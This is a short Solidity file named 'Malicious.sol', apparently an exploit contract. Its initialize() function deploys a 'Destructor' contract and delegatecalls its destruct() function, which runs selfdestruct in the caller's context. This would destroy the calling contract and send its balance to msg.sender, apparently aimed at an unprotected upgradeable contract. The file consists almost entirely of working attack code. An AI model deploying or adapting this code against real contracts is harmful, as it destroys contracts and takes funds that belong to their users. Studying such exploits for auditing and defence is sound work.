// File: contracts/Malicious.sol



//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Malicious {
  
  Malicious public originalContract = Malicious(0xAe7a1B1ba864696bCDCeC94a34fB5836CA9a3910);
  
  function initialize() external {
    Destructor des = new Destructor();
      (bool success, ) = address(des).delegatecall(abi.encodeWithSignature("destruct()"));
      require(success);
  }

}
  contract Destructor {
  function destruct() external{
    selfdestruct(payable(msg.sender));
  }
}